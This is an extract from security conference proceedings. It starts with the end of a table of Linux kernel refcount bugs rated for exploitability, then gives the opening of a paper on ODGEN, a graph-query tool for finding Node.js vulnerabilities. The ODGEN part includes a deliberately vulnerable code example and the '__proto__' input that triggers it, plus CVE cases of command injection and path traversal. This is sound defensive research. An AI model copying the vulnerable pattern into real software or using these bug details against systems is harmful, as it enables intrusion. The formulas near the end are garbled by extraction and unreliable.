40 edac_pci_main_kobj_setup MRD C 99 cuse_channel_open MRD P
41 acpi_sysfs_add_hotplug_profile MRD C 100 br_add_if MRD P
42 efivar_create_sysfs_entry MRD C 101 netdev_queue_add_kobject MRD P
43 edac_pci_create_instance_kobj* MRD C 102 rx_queue_add_kobject MRD P
44 edac_device_create_block* MRD C 103 __rfcomm_create_dev RRD P
45 edac_device_create_instance* MRD C 104 rds_ib_get_mr MRD P
46 usX2Y_rate_set* MRD C 105 meson_ao_cec_probe RRD P
47 usnic_ib_sysfs_register_usdev* MRD C 106 amdgpu_cs_parser_init RRD P
48 display_init_sysfs MRD S 107 drm_dp_mst_allocate_vcpi MRD P
49 l2cap_sock_alloc* MRD S 108 amdgpu_cs_user_fence_chunk MRD P
50 bnx2fc_eh_abort* MRD S 109 mdev_register_device MRD P
51 core_scsi3_emulate_pro_register_and_move MRD S 110 lpuart_start_rx_dma MRD P
52 bnx2fc_initiate_seq_cleanup* MRD S 111 ohci_platform_probe MRD P
53 __tm6000_ir_int_start MRR S 112 cpufreq_policy_alloc MRD P
54 rtl2832_sdr_alloc_urbs* MRR S 113 btrfs_sysfs_add_fsid MRD P
55 stir_net_open MRR S 114 hfi1_create_port_files MRD P
56 dw_hdmi_cec_probe MRR S 115 exofs_sysfs_odev_add MRD P
57 _dsa_register_switch MRR S 116 exofs_sysfs_sb_add MRD P
58 gigaset_if_initdriver MRR S 117 ldebugfs_register_mountpoint MRD P
59 nvmet_fc_ls_create_connection* MRR S 118 cpufreq_dbs_governor_init MRD P

USENIX Association 31st USENIX Security Symposium    141



Table 5: Security impact of found bugs. Impact∗: we consider a UAF can be exploited to hijack the control flow if the freed object
contains a function pointer.

Bug Impact∗ Triggering Condition Reachability
Permission
Requirement

__rfcomm_create_dev
UAF
likely exploitable No Userspace CAP_NET_ADMIN

audit_list_rules_send
UAF
likely exploitable

Exhaust memory
Refcount overflow Userspace CAP_AUDIT_READ

bnx2fc_send_srr
UAF
likely exploitable Exhaust memory Unclear No

bnx2fc_send_rec
UAF
likely exploitable Exhaust memory Unclear No

kobject_rename
UAF
likely exploitable Refcount overflow Unclear No

write_parport_reg_nonblock
UAF
likely exploitable

Exhaust memory
Refcount overflow Unclear No

audit_send_reply
UAF
likely exploitable

Exhaust memory
Refcount overflow Userspace CAP_AUDIT_READ

__tm6000_ir_int_start
UAF
likely exploitable Exhaust memory Userspace No

cx231xx_init_audio_isoc*
UAF
likely exploitable Exhaust memory Userpsace No

usb_urb_alloc_bulk_urbs*
UAF
likely exploitable Exhaust memory Userspace No

cpufreq_policy_alloc Memory leak Exhaust memory Called upon registering drivers No
iommu_group_alloc Memory leak Exhaust memory Unclear No
esre_create_sysfs_entry Memory leak Exhaust memory Called upon system initialization No
dmi_sysfs_register_handle Memory leak Exhaust memory Called upon system initialization No
cpuidle_add_sysfs Memory leak Exhaust memory Called upon registering cpu drivers No
acpi_cppc_processor_probe Memory leak Exhaust memory Called upon registering devices No
edac_pci_main_kobj_setup Memory leak Exhaust memory Called upon registering devices No
mei_me_cl_rm_by_uuid Memory leak No Called by IRQ No
mei_me_cl_rm_by_uuid_id Memory leak No Unclear No
add_mdev_supported_type Memory leak Exhaust memory Called upon registering devices No
add_port Memory leak Exhaust memory Called upon registering devices No
ttm_bo_add_move_fence Memory leak Exhaust memory Called upon module initialization No

142    31st USENIX Security Symposium USENIX Association



Mining Node.js Vulnerabilities via Object Dependence Graph and Query
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Abstract
Node.js is a popular non-browser JavaScript platform that

provides useful but sometimes also vulnerable packages. On
one hand, prior works have proposed many program analysis-
based approaches to detect Node.js vulnerabilities, such as
command injection and prototype pollution, but they are spe-
cific to individual vulnerability and do not generalize to a
wide range of vulnerabilities on Node.js. On the other hand,
prior works on C/C++ and PHP have proposed graph query-
based approaches, such as Code Property Graph (CPG), to
efficiently mine vulnerabilities, but they are not directly ap-
plicable to JavaScript due to the language’s extensive use of
dynamic features.

In the paper, we propose flow- and context-sensitive static
analysis with hybrid branch-sensitivity and points-to infor-
mation to generate a novel graph structure, called Object De-
pendence Graph (ODG), using abstract interpretation. ODG
represents JavaScript objects as nodes and their relations
with Abstract Syntax Tree (AST) as edges, and accepts graph
queries—especially on object lookups and definitions—for
detecting Node.js vulnerabilities.

We implemented an open-source prototype system, called
ODGEN, to generate ODG for Node.js programs via abstract
interpretation and detect vulnerabilities. Our evaluation of
recent Node.js vulnerabilities shows that ODG together with
AST and Control Flow Graph (CFG) is capable of modeling
13 out of 16 vulnerability types. We applied ODGEN to de-
tect six types of vulnerabilities using graph queries: ODGEN
correctly reported 180 zero-day vulnerabilities, among which
we have received 70 Common Vulnerabilities and Exposures
(CVE) identifiers so far.

1 Introduction
Node.js is a popular JavaScript runtime environment that exe-
cutes JavaScript code outside web browsers such as being a
web server to serve the client. Node.js ecosystem including
millions of NPM packages is known to be vulnerable to a
variety of vulnerabilities, such as command injection [1, 2],
prototype pollution [3], path traversal [4], and internal prop-
erty tampering [5–7]. In the past, researchers have proposed

∗The author contributes to the paper when she is visiting JHU.

various program analysis-based approaches [1–3,8–14] target-
ing individual vulnerability, such as command injection [1, 2]
and prototype pollution [3]. However, despite their success,
there is no general framework to detect all kinds of Node.js
vulnerabilities.

One recent advance of vulnerability detection in languages
other than JavaScript such as C/C++ and PHP is to build a
graph structure representing different properties of a target
program and perform graph queries to mine vulnerabilities.
For example, researchers proposed a particular graph struc-
ture, called Code Property Graph (CPG), which combines
Abstract Syntax Tree (AST), Control Flow Graph (CFG), and
Program Dependence Graph (PDG). CPG is demonstrated
to be effective in mining many types of vulnerabilities in
C/C++ [15] and PHP [16]. However, CPG does not model
object relations, such as object lookups based on prototype
chain and this object lookup especially with a bind call.
Therefore, it cannot model and detect popular object-based
JavaScript vulnerabilities, such as prototype pollution [3] and
internal property tampering [5–7].

At the same time, prior static JavaScript analysis works [1,
10–12, 17] model objects and their relations via abstract in-
terpretation [18] together with an online data structure, such
as a lattice. However, prior abstract interpretations face two
major challenges. First, previous data structures are unsuit-
able for offline (i.e., post abstract interpretation) detections
of a variety of vulnerabilities—in other words, their target
is a specific type of vulnerability. The reason is that object
information in these structures keeps changing during abstract
interpretation. Thus, vulnerability-related object information
is likely overwritten and lost in the final state. Second, ex-
isting JavaScript analysis—in terms of branch sensitivity—
interprets all branches either in sequence, which compromises
accuracy, or in parallel, which compromises scalability. Both
cases lead to many false negatives: the former due to reduced
detection capability and the latter due to excessive number of
objects.

In this paper, we propose flow- and context-sensitive static
analysis with hybrid branch-sensitivity and points-to infor-
mation to generate a novel graph structure, called Object De-
pendence Graph (ODG), using abstract interpretation. ODG
accepts graph queries for the offline detection of a wide range
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of Node.js vulnerabilities. The key insight of ODG is to rep-
resent JavaScript objects as nodes and the relations among
objects and between objects and AST nodes as edges. Specif-
ically, ODG includes fine-grained data dependencies between
objects, thus helping taint-style vulnerability detection such as
command injection. At the same time, ODG is also integrated
with CPG, or particularly Abstract Syntax Tree (AST) of CPG,
to represent and preserve all object definitions and lookups
(e.g., these via the prototype chain) in abstract interpretation
for the offline detection of object-related vulnerabilities such
as internal property tampering and prototype pollution.

We build a prototype system, called ODGEN, to generate
ODG during abstract interpretation. Specifically, ODGEN
starts from entry points and follows AST node sequence to
define and lookup objects for each AST node under abstract
scopes. Then, ODGEN records object definitions and lookups
as part of ODG, which are also used to generates CFG (if an
object lookup is related to functions) and object-level data de-
pendencies (if an object definition is derived from another ob-
ject). ODGEN is hybrid branch-sensitive because the default
of ODGEN is to abstractly interpret all branches in parallel,
but ODGEN switches back to sequential branch interpreta-
tion for a function if the number of object nodes explodes.
ODGEN has points-to information because different aliases
of an objects point to the same object node in ODG.

To demonstrate the effectiveness of ODGEN, we studied all
recent Node.js vulnerabilities in the CVE database and mod-
eled them with graph queries to ODG together with existing
graph-based code representations. Our evaluation shows that
13 out of 16 vulnerability categories can be successfully mod-
eled by graph queries to ODG+AST+CFG. We then evaluate
ODGEN on real-world Node.js packages. The results show
that ODGEN is able to detect 43 application-level zero-day
vulnerabilities with 14 false positives and we also confirmed
137 package-level zero-day vulnerabilities with 84 false posi-
tive. We received 70 CVE identifiers for these vulnerabilities.

We make the following contributions in the paper.

• We design a novel graph structure, called Object Depen-
dence Graph (ODG), to model JavaScript objects and their
relations to AST node in terms of definition and use.

• We design offline graph queries that match object-related
patterns for a variety of Node.js vulnerabilities, particularly
internal property tampering and prototype pollution.

• We build a prototype, open-source system using abstract
interpretation to generate ODG for Node.js packages.

• Our evaluation of ODGEN on real-world NPM packages
reveals 43 application-level and 137 package-level zero-day
vulnerabilities (70 being assigned with CVE identifiers).

2 Overview
In this section, we start from a motivating example and then
describe the threat model in detecting Node.js vulnerabilities.

1 function Func() {};
2 Func.prototype.x="ab";
3 myFunc = new Func;
4 if (source1)
5 myFunc[source2]=myFunc.x+source1; // internal

property tampering
6 sink(myFunc.x); // taint -style vulnerability like

command injection

Figure 1: An exemplary code.

2.1 A Motivating Example

Figure 1 shows a simple exemplary code with only six lines
in motivating the use of ODG in vulnerability detection. Both
source1 and source2 are controllable by an adversary and
sink is a sink function, such as exec in command injection.
The code has two vulnerabilities:

• Internal Property Tampering [5–7]. This vulnerability is
triggered when source2 is "__proto__". Because the pro-
totype chain of myFunc is overwritten at Line 5, the inter-
nal property x of myFunc is tampered. Specifically, when
the code tries to access myFunc.x at Line 6, the object
lookup in the property x fails as the prototype chain to
Func.prototype is broken. This vulnerability may lead
to a consequence like Denial of Service (e.g., the execution
of Line 6 fails) or privilege escalation (e.g., if myFunc.x is
used later as part of an authentication).

• Taint-style Vulnerability (e.g., command injection [1, 2]).
This vulnerability is triggered when source2 is "x". The
code will then create a new property x under myFunc di-
rectly with an adversary controllable value from source1.
Next, when the code accesses myFunc.x at Line 6,
the object lookup goes to myFunc directly instead of
Func.prototype, leading to a possible injection.

What we learned from these two vulnerabilities is that the
key is the object lookup myFunc[source2] at Line 5. Differ-
ent lookups lead to different vulnerabilities—which motivates
the design of ODG in modeling different object lookups in a
graph for vulnerability detection. Another interesting obser-
vation worth noting is that the data dependencies are different
for two vulnerability triggering conditions. In the case of in-
ternal property tampering at Line 5, we do not have a dataflow
dependency between Lines 2 and 6 and the lack of such a
dependency leads to the vulnerability. By contrast, in the case
of a taint-style vulnerability, we have a dataflow dependency
between Lines 5 and 6 (which does not exist before) and the
existence of this dependency leads to the vulnerability.

Figure 2 shows the object dependence graph (ODG) inte-
grated with code property graph (CPG) of the code in Figure 1.
The top part of Figure 2 is CPG with AST, CFG and Program
Dependence Graph (PDG) nodes and edges; the bottom part
is ODG with object/name nodes, object lookup/definition
edges to AST nodes (copied from top for clarity purpose),
and property edges. Note that because ODG has object-level
data dependencies, we do not need the statement-level data de-
pendencies in PDG as part of CPG. We include these edges in
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Figure 2: Object Dependence Graph (ODG, Bottom) Inte-
grated with Code Property Graph (CPG, Top) of the Exem-
plary Code in Figure 1. For readers’ convenience, we copied
corresponding AST nodes from top to bottom and skipped
several unimportant nodes and edges, such as __proto__ of
many objects, the global object and many built-in objects.

Figure 3: Nodes and Edges related to Graph Query for Internal
Property Tampering Detection.

the figure for the purpose of a comparison. We now describe
how to detect these two vulnerabilities via graph queries and
more importantly how ODG edges contribute to the detection.

2.1.1 Query to Detect Internal Property Tampering

We summarize the detection of this internal property tamper-
ing vulnerability using ODG as follows. From a high-level
perspective, ODGEN finds an object assignment statement via
a property lookup, which is then followed by another property
lookup statement. Both the lookup and the assigned values
in the first statement are controllable by an adversary so that
the prototype chain of the object can be tampered. Then, the
property lookup in the second statement needs to have the
tampered prototype chain involved. We extract related edges
from Figure 2, show them in Figure 3 and describe below.
• 1 AST pattern matching (obj[prop]=value).

The query finds an assignment statement with
a property lookup via AST edges, which is
myFunc[source2]=myFunc.x+source1 at Line 5 of
Figure 1.

Figure 4: Nodes and Edges related to Graph Query for Taint-
style Vulnerability Detection.

• 2 Property in 1 (prop) is controllable by an adversary.
The query follows the object-level data dependencies to
determine whether source2 is controllable by an adversary.
Therefore, the value of source2 can be __proto__.

• 3 Assigned value in 1 (value) is controllable by an
adversary. The query follows the object-level data depen-
dencies to determine whether myFunc.x+source1 can be
controllable by an adversary.

• 4 Object in 1 (obj) has a prototypical object and the
prototypical object has a property. The query follows proto-
type chain of the object myFunc to find the prototype object
myFunc.__proto__, which has a property x.

• 5 Property in 4 is used later in the control flow and
has more than one possible lookup. The query follows
the property x to find other uses of the object (myFunc.x
at Line 6 of Figure 1) and ensures that it has a control
dependency with the previous assignment.

2.1.2 Query to Detect Taint-style Vulnerability

The detection of a taint-style vulnerability using ODG can
be summarized as finding a data dependency between the
source object and the argument object in the sink function.
We extracted related edges from Figure 2 and show them in
Figure 4.

• 1 AST Pattern matching for sink function (sink(arg)).
The query finds a statement with a sink function invocation
(i.e., sink(myFunc.x) at Line 6 of Figure 1).

• 2 Object lookup for arg in 1 . The query finds the object
node in ODG.

• 3 Data dependency for the object in 2 . The query follows
object-level data dependency edges to determine whether
the sink function argument can be influenced by a source.

• 4 AST Node for the source in 3 . The query follows
object lookup edges to find the AST node for the source.

Note that the handling of myFunc[source2] is implicit in
the detection of this taint-style vulnerability. During ODG
construction, ODGEN creates a so-called wildcard object
with a property ∗ to represent myFunc[source2] for all kinds
of possibilities. Then, myFunc.x can be resolved via two
ways: one to Func.prototype.x and the other as myFunc.*.
Therefore, our query can find an object-level data dependency
between myFunc.* and source1.
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2.2 Threat Model

In this subsection, we describe the threat model of vulnerabil-
ities in scope of ODGEN. ODGEN considers all JavaScript-
level Node.js vulnerabilities but excludes low-level ones, such
as those related to the V8 engine. Specifically, such vulnera-
bilities can be categorized as two types: (i) application-level
and (ii) package-level. We now describe these two in details.

2.2.1 Application-level Vulnerabilities

An application-level vulnerability assumes that an adversary
has some controls over contents in network connection, e.g.,
an HTTP request or a response, because the application is
communicating with a malicious party. The detailed capa-
bility of the adversary also depends on the semantics of the
application. We now describe two concrete senarios:

• Adversary-controlled network request to a vulnerable
server. Say the application is a web server serving web con-
tents to clients. An adversary can send HTTP requests with
malicious contents to the server and trigger a vulnerability.
Consider rollup-plugin-serve, which has a path traver-
sal vulnerability (CVE-2020-7684) found by ODGEN. The
vulnerable code reads a file using readFile via an arbi-
trary path provided by the client without sanitization, i.e.,
the filePath value eventually comes from the request
object controllable by a possible adversary.

• Adversary-controlled network response to a vulnerable
client. Say the application is at client-side talking with
servers. An adversary, i.e., a malicious server, can send
HTTP responses with malicious contents to the application
and trigger a vulnerability. Let us take a real-world, client-
side github notification system, called github-growl, for
example. github-growl gives an alert at the client side if
a github issue is posted to a subscribed github repository.
An adversary can post an issue with a crafted title with OS
commands and trigger the command injection vulnerability
in github-growl.

2.2.2 Package-level Vulnerabilities

Packages in Node.js are libraries that are imported by other
packages or applications. Package-level vulnerabilities as-
sume that an adversary can control inputs to a vulnerable
package (i.e., those accessible via module.exports), thus
triggering the vulnerability. It is worth noting that package-
level vulnerabilities are not stand-alone and have to be com-
bined with applications for a possible exploitation.

The reason that Node.js community considers package-
level vulnerabilities—which are demonstrated in both aca-
demic works [1, 2] and many prior CVEs [5, 19, 20]—are
that one package-level vulnerability may affect many applica-
tions if the inputs to the package are not correctly sanitized.
Take the previous github-growl for example. The applica-
tion itself is not vulnerable, but the vulnerability lies in an
imported package called growl (CVE-2017-16042). In fact,
the vulnerable package also affects other applications, such

Table 1: Nodes, Edges, and Operations of ODG
Name Description
Nodes (N) A set of ODG nodes
Object node (o ∈ No) An object created in the abstract interpretation.
Scope node (s ∈ Ns) An abstract interpretation scope.
Variable node (v ∈ Nv) A variable under a scope or a property under an object.
AST node (a ∈ Na) An abstract syntax tree node.
Edges (E) A set of ODG edges
Object def. (o s−→ a) The AST node (a) defining the object o under scope s.
AST-obj lookup (a s−→ o) The object (o) used by the AST node (a) under s.
Scope hierarchy (s→ s) A parent-child scope relation.
Variable lookup (s→ v) A variable v is defined under a scope s.
Var-obj lookup (v Br−→ o) An object o that v points to with branch tags Br.
Property lookup (o→ v) A property v of an object o.
Data dependency (o→ o) Data dependency between two objects.
Control dependency (a→ a) Control dependency between two AST nodes.
Procedures (P) All the ODG-related operations
ChildEdgeType

parentNode Getting the child node of parentNode with EdgeType
AddEdgeEdgeType

src
p−→dst

Adding an edge from src node to dst node with
EdgeType and a property being either branch tags (Br)
or a scope (s)

GetEdgeEdgeType
src Getting all the edges start from src node with

EdgeType
AddNodeNodeType

a Adding a node from a with NodeType
AddObjObjType

a Adding an object node from a with ObjType in typeof
list and linking prototypical objects

LkupVars
Br(n) Looking up a variable node under the scope (s) with

branch tags (Br) and name n
LkupObjsBr(n) Looking up object nodes under scope (s) with branch

tags (Br) and name (n), i.e., {Childv
Br−→o

LkupVars
Br (n)
}

as mqtt-growl a mqtt monitor based on growl, by making
them vulnerable as well.

Other than the aforementioned application- vs. package-
level, we further classify Node.js vulnerabilities into two cat-
egories based on the vulnerability location, i.e., directly vul-
nerable where the package itself is vulnerable, and indirectly
vulnerable where an imported package is vulnerable.

3 Object Dependence Graph
In this section, we describe the definition of Object Depen-
dence Graph (ODG) and the operational semantics of the ab-
stract interpretation and the procedure of constructing ODG.

3.1 Definitions

In this section, we define an Object Dependence Graph (ODG)
as a representation, using graph notation, of all the JavaScript
objects, variables and scopes generated during abstract inter-
pretation as nodes and their relations as edges. These edges
include object and AST relations (such as object definition
and object lookup) and object relations (such as object prop-
erty and object-level data dependency).

Table 1 summarizes different ODG nodes and edges. Ob-
jects, variables, scopes and AST are all represented as nodes
and their relations as edges. We start from AST-related edges:
object definition and AST-obj lookup. The former is used to
locate the AST node where the object is defined when the
object is used later. These types of edges are unique to one
object node because an object is only defined once. The latter
is used to reproduce object lookups in abstract interpretation.
One AST node may have multiple AST-obj lookup edges be-
cause the AST node can be abstractly interpreted for multiple
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times in a for loop or a recursive call.
We then describe edges between objects, variables, and

scopes. Note that we skipped branch tags (introduced later
in Section 3.2) for a simple explanation. First, the combina-
tion of s→ s, s→ v, v→ o, and o→ v edges can be used to
resolve a statement like obj.prop during abstract interpreta-
tion. ODGEN first looks up obj under current scope using
s→ v and then follows the scope chain using s→ v to find
obj if the lookup under current scope fails. Once the variable
is found, ODGEN follows v→ o to find the object node and
then o→ v to find the prop. Then, o→ o indicates the latter
object has a data dependency on the former. For example,
the object that myFunc[source2] points to at Line 5 of Fig-
ure 1 has an object-level data dependency on both objects that
myFunc.x and source1 point to.

Next, we describe how ODG models points-to information
via v→ o edges. Say two variables a and b and an object
property obj.v point to the same object. There is only one
object node in ODG representing this object and three v→ o
edges from a, b and obj.v to the object node. Therefore, all
three object lookups will resolve to the same object node
during abstract interpretation.

3.2 Operational Semantics

In this subsection, we describe our abstract interpretation and
the construction of ODG using operational semantics shown
in Figure 5. From a high level, ODGEN abstractly interprets
each AST node (a) based on the statement (e), generates nodes
(N) and edges (E) for ODG, and then follows control-flow
edges (which are generated during abstract interpretation)
to the next AST node. During the abstract interpretation of
each AST node, the state of ODGEN is represented as a tuple
ρ = (N,E,s,Br), where N is all the ODG nodes, E is all the
ODG edges, s is the current scope node, and Br ⊆ Sbr is a set
of branch tags that represents the current conditional branch
in the branch-sensitive mode. Each branch tag is a unique
identifier representing the current conditional branch.

Now, we describe the operational semantics of the abstract
interpretation of different statements in Figure 5. First, we
start from the definition of either a variable or an object prop-
erty in Figure 5. ODGEN attempts to look up the variable or
the property from ODG. If the look-up fails, ODGEN creates
new variable and object nodes and links corresponding nodes
via edges; if the look-up succeeds, ODGEN reuses existing
variable nodes but creates new edges for these nodes.

Second, we describe branching statements (i.e., IF and
SWITCH in Figure 5). ODGEN first tries to determine the
value of the branching condition and chooses correspond-
ing branch(es). If the branching condition value cannot be
determined, the operational semantics depends on branch
sensitivity. (i) ODGEN creates a unique branching tag for
each branch in the branch-sensitive mode and attaches the
branching tag with all the nodes and edges created during the
abstract interpretation of each branch. When all the branches

of a statement are abstractly interpreted, ODGEN merges all
the objects and nodes from different branches based on the
tags for continued abstract interpretation. (ii) ODGEN sequen-
tially performs abstract interpretation for all the branches in
the branch-insensitive mode, i.e., the objects and edges cre-
ated in later branches will overwrite those created in earlier
branches. The default mode is branch sensitive, but ODGEN
will switch to branch insensitive if the number of objects ex-
plodes, i.e., exceeding a certain number (e.g., 10k), for a given
function.

Third, we describe function definition in Figure 5. ODGEN
adds a variable node if the function is not defined in an anony-
mous closure, creates an object node and edges between the
object and the variable nodes, and then handles edges related
to prototypes.

Fourth, we describe function calls in Figure 5, which has
two phase: pre-call and call. In the pre-call phase, ODGEN
looks up the function object and creates corresponding ob-
ject and control-flow edges. Then, in the call phase, ODGEN
handles all the parameters, changes the current scope and
this point, and then jumps to the AST node following a
call edge. Finally, in the return statement, ODGEN handles
return objects and creates corresponding dataflow edges. Be-
cause ODGEN handles function calls using the current scope
and returns to the exact call site, ODGEN is considered as a
context-sensitive approach.

Lastly, we describe loops in Figure 5. ODGEN abstractly
interprets a loop (and a recursive call) extensively until no
more new objects outside the loop (or recursive call) are being
looked-up. ODGEN also sets up a minimum and a maximum
limit for loops (and recursive calls).

4 ODG Queries for Node.js Vulnerabilities
In this section, we describe graph queries to ODG for all
kinds of Node.js vulnerabilities. We first present how to model
queries as several types of graph traversals in Section 4.1 and
then describe how to represent all kinds of vulnerabilities via
those graph traversals in Section 4.2.

4.1 Graph Traversals

A graph traversal, as defined in the CPG paper [15], is a
function T : P(V )→ P(V ) that maps a set of nodes to another
set of nodes on top of ODG, where V is a set of ODG nodes
and P is the power set of V . There are multiple operations
that can be performed on T :
• A function composition ◦. Two graph traversals T0 and T1

on V can be chained together by T1 ◦T0(V ).
• A function intersection

⋂
. The results of two graph traver-

sal T0 and T1 on V can be intersected by T0
⋂

T1(V ).
• A function union

⋃
. The results of two graph traversal T0

and T1 on V can be unioned by T0
⋃

T1(V ).
By those three simple operations, we can break a

complex graph traversal into multiple basic traversal
components shown in Table 2. These basic traversals
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ρ⇒ (N,E,s,Br)

(x,a,ρ)⇒ i f LkupVars
∅(x),=∅ then (N,E,s,Br) else (N,E ∪{AddEdgea

s−→o
x

s−→o′
where ∀o′ ∈ LkupOb js

Br(a)},s,Br)
(VARIABLE)

ρ⇒ (N,E,s,Br)
(let/var/const/∅ x,a,ρ)⇒ (N∪Na := {AddNodevar

a.name},E ∪{AddEdges→v
s′→na

,∀na ∈ Na},s,Br)
where

{ s′ := s (BLOCK_SCOPE) let/const
s′ := GLOBAL_SCOPE ∅
s′ := upper FUNC/FILE_SCOPE var

(VARIABLE DEF)

ρ⇒ (N,E,s,Br),(x,a.x,ρ)⇒ (Nx ,Ex ,sx ,Brx),(p,a.p,ρ)⇒ (Np ,Ep ,sp ,Brp)

(x[p]/x.const,ρ)⇒
{ (Nx ∪{pov(0),∀pov ∈ Pov},Ex ∪{AddEdgeo→v

pov(0)→pov(1)
,∀pov ∈ Pov},s,Br) i f on = /0

(Nx ,Ex ∪{AddEdgea
s−→o

a
s−→no

,∀no ∈ No},s,Br) otherwise

where
{ No := {LkupOb jox

Brx
(op .name),∀op ∈Childa

s−→o
a.p ,∀ox ∈Childa

s−→o
a.x } Pov := {(AddNodevar

p′ ,o
′),∀o′ ∈Childa

s−→o
a.x ,∀p′ ∈Childa

s−→o
a.p } x[p]

No := {LkupOb jox
Brx

(const),∀ox ∈Childa
s−→o

a.x } Pov := {(AddNodevar
const ,o

′),∀o′ ∈Childa
s−→o

a.x } x.const
(PROPERTY)

ρ⇒ (N,E,s,Br),(x1 ,a.x1 ,ρ)⇒ (Nx1 ,Ex1 ,sx1 ,Brx1 ),(x2 ,a.x2 ,ρ)⇒ (Nx2 ,Ex2 ,sx2 ,Brx2 )

(x1 op x2 ,a,ρ)⇒ (Nx1 ∪Nx2 ∪Nnew ,Ex1 ∪Ex2 ∪Edep ∪Ede f ,s,Br)
where

{ Nnew := {AddOb j∗a ,∀o1 ∈Childa
s−→o

a.x1
,∀o2 ∈Childa

s−→o
a.x2
}

Edep := {AddEdgeo→o
u′→o′ ,∀o

′ ∈ Nnew ,∀u′ ∈ {Childa
s−→o

a.x1
∪Childa

s−→o
a.x2
}}

Ede f := {AddEdgeo→a
o′→a ,∀o

′ ∈ Nnew}

(BINARY OP)

ρ⇒ (N,E,s,Br),(k1 ,a.k1 ,ρ)⇒ (Nk1 ,Ek1 ,sk1 ,Brk1 ),(v1 ,a.v1 ,ρ)⇒ (Nv1 ,Ev1 ,sv1 ,Brv1 ), . . . ,(kn ,a.kn ,ρ)⇒ (Nkn ,Ekn ,skn ,Brkn ),(vn ,a.vn ,ρ)⇒ (Nvn ,Evn ,svn ,Brvn )

({k1 : v1 , . . . ,kn : vn},a,ρ)⇒ (Oa := {AddOb j∗a}∪{nvi := AddNodevar
a.ki

,∀i ∈ {i, . . . ,n}}∪{
n⋃

i=1
Nki }∪{

n⋃
i=1

Nvi },{
n⋃

i=1
Eki }∪{

n⋃
i=1

Evi }∪Eov ∪Evo ∪{AddEdgea
br−→o

a
Br−→oa

,∀oa ∈ Oa},s,Br)

,where
{ Evo := {AddEdgev

br−→o

nvi
Br−→Childa

s−→o
a.vi

,∀i ∈ {1, . . . ,n}}

Eov := {AddEdgeo→v
ao→vi

,∀i ∈ {1, . . . ,n}}
(OBJECT LITERAL)

ρ⇒ (N,E,s,Br)

(this,a,ρ)⇒ (N,E ∪{AddEdgea
s−→o

a
s−→o′

where ∀o′ ∈ LkupOb js
Br(”this”)},s,Br)

(THIS)

ρ⇒ (N,E,s,Br)
(Bpre ,a,ρ)⇒ (N∪{as := AddNodescope

a },E ∪{AddEdges→s
s→as},as,Br)

(PRE BLOCK)
(Bpre ,a,ρ)⇒ ρBpre ,(S1 ,ρBpre )⇒ ρ1 , . . . ,(Sn ,ρn−1)⇒ ρn

(S1 , . . . ,Sn ,ρ)⇒ (Nρn ,Eρn ∪{AddEdgea→a
a.Si→a.Si+1

,∀i ∈ {1, . . . ,n−1}},sρ ,Brρn )
(BLOCK)

ρ⇒ (N,E,s,Br),(let/var/const/∅ x,a.x,ρ)⇒ (Nx ,Ex ,sx ,Brx),(e,a.e,ρ)⇒ (Ne ,Ee ,se ,Bre)

(let/var/const/∅ x = e,ρ)⇒ (Nx ∪Ne ,Ex ∪Ee/{GetEdgev→o
LkupVars

∅a.x}∪{AddEdgev
br−→o

LkupVars
∅a.x

Br−→o′
where ∀o′ ∈Childa

s−→o
a.e },s,Br)

(ASSIGN)

ρ⇒ (N,E,s,Br),( f ,a. f ,ρ)⇒ (N f ,E f ,s f ,Br f )

( f unction f (p1 , . . . , pn),a,ρ)⇒ (N f ∪{on := AddOb j f unc
a. f },E f ∪{AddEdgev

br−→o

LkupVars
∅a. f .name

Br f−−→on
}∪{AddEdgea

s−→o
a

s−→on
}∪{AddEdgeo→a

on→a},s f ,Br f )

(FUNCTION DEF)

ρ⇒ (N,E,s,Br)

( f unction (p1 , . . . , pn),a,ρ)⇒ (N f ∪{on := AddOb j f unc
∅ },E f ∪{AddEdgea

s−→o
a

s−→on
}∪{AddEdgeo→a

on→a},s,Br)
(CLOSURE DEF)

ρ⇒ (N,E,s,Br),( f ,a. f ,ρ)⇒ (N f ,E f ,s f ,Br f ),(a1 ,a.a1 ,ρ)⇒ (Na1 ,Ea1 ,sa1 ,Bra1 ), . . . ,(an ,a.an ,ρ)⇒ (Nan ,Ean ,san ,Bran )

( f (a1 , . . .an),a,ρ)⇒ (
n⋃

i=1
Nai ∪Sc ∪

n⋃
i=1

vnai ,
n⋃

i=1
Eai ∪{AddEdges

br−→s

s
br−→sc

,∀sc ∈ Sc}∪Ecall ∪Evo ,Sc ,Br)

where
{ Psd := {(AddNodescope

a′de f
,a′de f ),∀a′de f ∈ ade f }, Sc := {psd [0],∀psd ∈ Psd},ade f := {Childo→a

o′ ,∀o′ ∈Childa
s−→o

a. f },Ecall := {AddEdgea
s−→a

a
psd [0]−−−→psd [1]

,∀psd ∈ Psd}

Pvo := {(sc , AddNodevar
a.ai

, Childa
sc−→o

a.ai
),∀sc ∈ Sc ,∀i ∈ {1, . . . ,n}},vnai := {pvo [1],∀pvo ∈ Pvo},Evo := {AddEdgev

br−→o

pvo [1]
Br−→p′vo [2]

,∀pvo ∈ Pvo ,∀p′vo [2] ∈ pvo [2]}
(PRE CALL)

ρ⇒ (N,E,s,Br),( f (a1 , . . .an),apc ,ρ)⇒ ρpc ,(B,aB ,ρpc)⇒ ρB

( f (a1 , . . .an),a,ρ)⇒
{ (NρB ,EρB ,s,Br) Call

(NρB ∪{nto := AddOb job j
a }∪{ntv := AddNodevar

”this”},EρB ∪Esv ∪Evo ∪Eres ,s,Br) New

, where
{ B := {a′ .B,∀a′ ∈Childa→a

a }
Esv ;= {AddEdges→v

sρpc→ntv }

Evo := {AddEdgev
br−→o

ntv
Br−→nto

}

Eres := {AddEdgea
s−→o

a
s−→nto
}

(CALL, NEW)

ρ⇒ (N,E,s,Br),(e,a.e,ρ)⇒ (Ne ,Ee ,se ,Bre),
ρ′i f := (Ne ,Ee ,se ,Bre ∪new br(a.i f )) (branch sensitive)
ρ′else := (Ne ,Ee ,se ,Bre ∪new br(a.else)) (branch sensitive)
ρ′else := ρ′i f := (Ne ,Ee ,se ,Bre) (branch insensitive)

,(Bi f ,a.Bi f ,ρ
′
i f )⇒ ρi f ,(Belse ,a.Belse ,ρ

′
else)⇒ ρelse

(i f (e){Bi f }else{Belse},a,ρ)⇒
(Nρi f ,Eρi f ∪{AddEdgea→a

a→a.i f },sρi f ,Brρi f ) Ctrue = True
(Nρelse ,Eρelse ∪{AddEdgea→a

a→a.else},sρelse ,Brρelse ) C f alse = False
(Nρi f ∪Nρelse ,Eρi f ∪Eρelse ∪{AddEdgea→a

a→a.i f }∪{AddEdgea→a
a→a.else},s,Br) else

where Ctrue = ∧{Childa
s−→o

aρe
